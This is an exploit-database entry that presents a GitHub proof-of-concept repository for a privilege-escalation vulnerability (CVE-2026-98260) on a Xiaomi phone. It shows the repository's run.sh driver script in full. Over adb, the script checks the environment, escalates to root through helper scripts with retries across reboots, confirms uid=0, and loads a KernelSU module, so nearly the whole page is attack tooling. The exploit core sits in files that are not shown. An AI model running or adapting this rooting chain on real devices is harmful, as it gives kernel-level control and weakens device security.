Exploit database

GH-29e755ab02c968b347a7e04c962bbc6b

starriv/cve-2026-98260-xiaomi-17-pro-max

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files16

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

scripts/run.sh

Suggested starting fileShell · 2,969 bytes
#!/bin/sh
# One-click popsicle root (CVE-2026-98260) + optional KernelSU jailbreak mode.
#
#   scripts/run.sh                      # check -> root (retry across reboots) -> KernelSU
#   scripts/run.sh --boots 12           # allow up to 12 reboot attempts
#   scripts/run.sh --no-ksu             # root only, skip KernelSU
#   scripts/run.sh --no-reboot          # single attempt on the current boot
#   scripts/run.sh --check-only         # environment check only
#   scripts/run.sh --serial <S> [--force-build-mismatch]
set -eu
HERE=$(cd "$(dirname "$0")" && pwd)
ROOT=$(cd "$HERE/.." && pwd)
ADB=${ADB:-adb}
SERIAL=${SERIAL:-}
BOOTS=8
WITH_KSU=1
ALLOW_REBOOT=1
CHECK_ONLY=0
FORCE=0

while [ $# -gt 0 ]; do
    case "$1" in
        --serial) shift; SERIAL=${1:?--serial needs a value} ;;
        --boots) shift; BOOTS=${1:?--boots needs a value} ;;
        --no-ksu) WITH_KSU=0 ;;
        --no-reboot) ALLOW_REBOOT=0 ;;
        --check-only) CHECK_ONLY=1 ;;
        --force-build-mismatch) FORCE=1 ;;
        -h|--help) sed -n '2,12p' "$0"; exit 0 ;;
        *) echo "unknown option: $1" >&2; exit 2 ;;
    esac
    shift
done

adbs() { if [ -n "$SERIAL" ]; then "$ADB" -s "$SERIAL" "$@"; else "$ADB" "$@"; fi; }
sh_() { adbs shell "$1" 2>/dev/null | tr -d '\r'; }
die() { echo "FAIL: $*" >&2; exit 1; }

run_check() {
    set -- --check
    [ -n "$SERIAL" ] && set -- "$@" --serial "$SERIAL"
    [ "$FORCE" = 1 ] && set -- "$@" --force-build-mismatch
    sh "$HERE/check.sh" "$@"
}
run_root_single() {
    set -- --escalate
    [ -n "$SERIAL" ] && set -- "$@" --serial "$SERIAL"
    [ "$FORCE" = 1 ] && set -- "$@" --force-build-mismatch
    sh "$HERE/root.sh" "$@"
}
run_load_ksu() {
    set -- 
    [ -n "$SERIAL" ] && set -- "$@" --serial "$SERIAL"
    sh "$HERE/load-ksu.sh" "$@"
}
root_live() {
    sh_ 'su -c id' | grep -q 'uid=0' && return 0
    sh_ '/data/local/tmp/pc98260-su -c id' | grep -q 'uid=0' && return 0
    return 1
}

echo "==> [1/3] environment check"
run_check || exit 1
if [ "$CHECK_ONLY" = 1 ]; then echo "check-only: OK"; exit 0; fi

echo "==> [2/3] root (CVE-2026-98260)"
if root_live; then
    echo "root already live for this boot"
elif [ "$ALLOW_REBOOT" = 1 ]; then
    echo "root not live; retrying across up to $BOOTS boots (each failed boot reboots) ..."
    SERIAL="$SERIAL" sh "$HERE/autoretry.sh" "$BOOTS" || true
else
    echo "root not live; single attempt (no reboot) ..."
    run_root_single || true
fi
root_live || die "could not obtain root (check logs/ and docs/RUNBOOK.md)"
echo "root: uid=0"

echo "==> [3/3] KernelSU (jailbreak mode)"
if [ "$WITH_KSU" = 1 ]; then
    run_load_ksu || echo "WARN: KernelSU step failed; root itself still works"
else
    echo "skipped (--no-ksu)"
fi

echo
echo "==> done"
echo "SELinux: $(sh_ 'getenforce')"
sh_ 'su -c id' 2>/dev/null || sh_ '/data/local/tmp/pc98260-su -c id' 2>/dev/null || true
echo "Note: root and the kernelsu module are per-boot; after a reboot run this script again."